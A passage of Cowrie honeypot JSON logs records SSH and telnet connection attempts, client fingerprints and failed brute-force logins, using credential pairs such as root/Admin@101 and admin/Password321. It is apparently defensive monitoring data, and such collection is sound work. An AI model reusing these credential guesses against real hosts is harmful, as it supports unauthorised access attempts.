es256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:06.287761Z","src_ip":"203.121.40.210","session":"7bb1bb546c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lalaland","message":"login attempt [root/lalaland] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:07.303704Z","src_ip":"203.121.40.210","session":"7bb1bb546c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.409628868103027,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:07.640008Z","src_ip":"170.64.224.25","session":"73810d2c0615","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:08.543762Z","src_ip":"203.121.40.210","session":"7bb1bb546c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":50130,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4b7966f4f5c","protocol":"ssh","message":"New connection: 91.92.40.4:50130 (10.17.0.5:22) [session: f4b7966f4f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:24.511994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:24.641761Z","src_ip":"91.92.40.4","session":"f4b7966f4f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:24.664989Z","src_ip":"91.92.40.4","session":"f4b7966f4f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"test3","message":"login attempt [test3/test3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:25.514329Z","src_ip":"91.92.40.4","session":"f4b7966f4f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":46712,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fbe884404dd","protocol":"ssh","message":"New connection: 210.90.155.178:46712 (10.17.0.5:22) [session: 1fbe884404dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:26.258520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:26.262813Z","src_ip":"210.90.155.178","session":"1fbe884404dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:26.469235Z","src_ip":"210.90.155.178","session":"1fbe884404dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:26.648840Z","src_ip":"91.92.40.4","session":"f4b7966f4f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@101","message":"login attempt [root/Admin@101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:27.319366Z","src_ip":"210.90.155.178","session":"1fbe884404dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:28.528468Z","src_ip":"210.90.155.178","session":"1fbe884404dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34802,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1d0d134d2bb","protocol":"telnet","message":"New connection: 170.64.224.25:34802 (159.203.135.109:23) [session: f1d0d134d2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:32.437054Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37186,"dst_ip":"159.203.135.109","dst_port":23,"session":"738e2c65839e","protocol":"telnet","message":"New connection: 170.64.224.25:37186 (159.203.135.109:23) [session: 738e2c65839e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:52.877436Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":19881,"dst_ip":"10.17.0.5","dst_port":22,"session":"e494ab920c09","protocol":"ssh","message":"New connection: 180.247.63.92:19881 (10.17.0.5:22) [session: e494ab920c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:56.421798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:56.424958Z","src_ip":"180.247.63.92","session":"e494ab920c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:56.683010Z","src_ip":"180.247.63.92","session":"e494ab920c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":47430,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f797630119f","protocol":"ssh","message":"New connection: 157.230.18.133:47430 (159.203.135.109:22) [session: 7f797630119f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:56.930123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:56.935431Z","src_ip":"157.230.18.133","session":"7f797630119f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:57.022649Z","src_ip":"157.230.18.133","session":"7f797630119f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ppm","password":"ppm123","message":"login attempt [ppm/ppm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:57.400273Z","src_ip":"157.230.18.133","session":"7f797630119f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password321","message":"login attempt [admin/Password321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:57.747866Z","src_ip":"180.247.63.92","session":"e494ab920c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:58.489799Z","src_ip":"157.230.18.133","session":"7f797630119f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:49:59.008083Z","src_ip":"180.247.63.92","session":"e494ab920c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.485175132751465,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:05.922109Z","src_ip":"170.64.224.25","session":"f1d0d134d2bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.84.96","src_port":59204,"dst_ip":"159.203.135.109","dst_port":22,"session":"085a7f27cbf5","protocol":"ssh","message":"New connection: 159.65.84.96:59204 (159.203.135.109:22) [session: 085a7f27cbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:19.648417Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:19.737812Z","src_ip":"159.65.84.96","session":"085a7f27cbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.989622592926025,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:26.866911Z","src_ip":"170.64.224.25","session":"738e2c65839e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":36882,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e72f95c0669","protocol":"ssh","message":"New connection: 94.138.209.214:36882 (159.203.135.109:22) [session: 2e72f95c0669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:31.304312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:31.308592Z","src_ip":"94.138.209.214","session":"2e72f95c0669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:31.438706Z","src_ip":"94.138.209.214","session":"2e72f95c0669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2026@","message":"login attempt [root/Welcome2026@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:33.064724Z","src_ip":"94.138.209.214","session":"2e72f95c0669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:34.197675Z","src_ip":"94.138.209.214","session":"2e72f95c0669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":46294,"dst_ip":"159.203.135.109","dst_port":22,"session":"bce23dc2d9f6","protocol":"ssh","message":"New connection: 143.20.185.207:46294 (159.203.135.109:22) [session: bce23dc2d9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:50.457831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:50.463061Z","src_ip":"143.20.185.207","session":"bce23dc2d9f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:50.593261Z","src_ip":"143.20.185.207","session":"bce23dc2d9f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#4VCPU8GBAMD","message":"login attempt [root/XYZZ#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:50.986480Z","src_ip":"143.20.185.207","session":"bce23dc2d9f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":16004,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a5b84dce8c0","protocol":"ssh","message":"New connection: 203.121.40.210:16004 (159.203.135.109:22) [session: 2a5b84dce8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:51.868008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:51.872066Z","src_ip":"203.121.40.210","session":"2a5b84dce8c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:52.117012Z","src_ip":"143.20.185.207","session":"bce23dc2d9f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:52.935739Z","src_ip":"203.121.40.210","session":"2a5b84dce8c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1111","message":"login attempt [testuser/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:54.145671Z","src_ip":"203.121.40.210","session":"2a5b84dce8c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:55.382209Z","src_ip":"203.121.40.210","session":"2a5b84dce8c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54198,"dst_ip":"159.203.135.109","dst_port":23,"session":"286ff8b7d5a9","protocol":"telnet","message":"New connection: 170.64.224.25:54198 (159.203.135.109:23) [session: 286ff8b7d5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:50:59.024742Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37348,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a05a8c611c0","protocol":"ssh","message":"New connection: 91.92.40.4:37348 (10.17.0.5:22) [session: 0a05a8c611c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:11.952535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:11.956414Z","src_ip":"91.92.40.4","session":"0a05a8c611c0","protocol":"ssh"}
